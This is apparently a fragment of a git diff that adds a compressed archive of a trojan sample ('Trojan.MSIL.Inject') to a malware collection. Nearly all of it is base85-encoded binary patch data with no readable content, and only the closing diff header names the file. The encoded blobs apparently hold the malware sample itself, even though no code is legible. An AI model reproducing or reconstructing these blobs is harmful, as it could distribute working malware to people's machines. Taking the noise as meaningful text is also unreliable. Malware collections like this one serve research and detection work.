z3rkmBm2cK*N(yT;U1jf6nhR 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 v`t$QL`A=E|0DxxpA6NeaW=eYp literal 0 HcmV?d00001 diff --git a/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z b/Win32/Trojans/Trojan.MSIL.Inject.Generic/Trojan.MSIL.Inject.sh.7z new file mode 100644 index 0000000000000000000000000000000000000000..8c50bec9bc5e89991bb86791eab2ae6d787b57f2 GIT binary patch literal 25328 zcmZ^qbyU?`)5k%&C8R^TyBh)NQo6glyOofX?vRr1E@|oR?(XjQ9Q3*O>RRt#uIpa2 zf3s)LeCE67c;zI)z|lZJK%hYm>yZ_w7F+qU0RIIA3Ic)z`175;y`iO^g{!!gku{yZ zy<>PIq8|gMh%@SvuS0tdTu6Mcjrd3gI6ZP0SiIk)UGMT#)$rB|@hvP9NBb4Rwg>0( zwW!^k!j_i(J2TwqsIM9$HLBRC`gYQsrTeO_4l#>uc)CHP8IbQN(2uP#4RP_;9im<-cpCD%GrKry1Q#X_AD(^0U{{(BXA zlG+sn*T;^Sns97(L3M^HAu@2(lvR&UMyU>|zQKM&SX81r^2+zZ$C=AJ#~EY=(Pt@T zb0u34RK1IO;(Z(%GUKY45z+5C!hX_dkQpY?MO8J)W>I^RT;>$K8vL?oynpFTYW)di zYM*mwz^Wud!mRJmidxF}&=>p1S8dxF6+&m6EQ0*@Nw-VT(g|XQz(c}Nef-gskx!A? zLoPCBpGc~VZt;SBdQ_uws!DpQTFCXil(%R3mh<$7t~g0TyU{w3pds5bDg`}-Vs%8+ 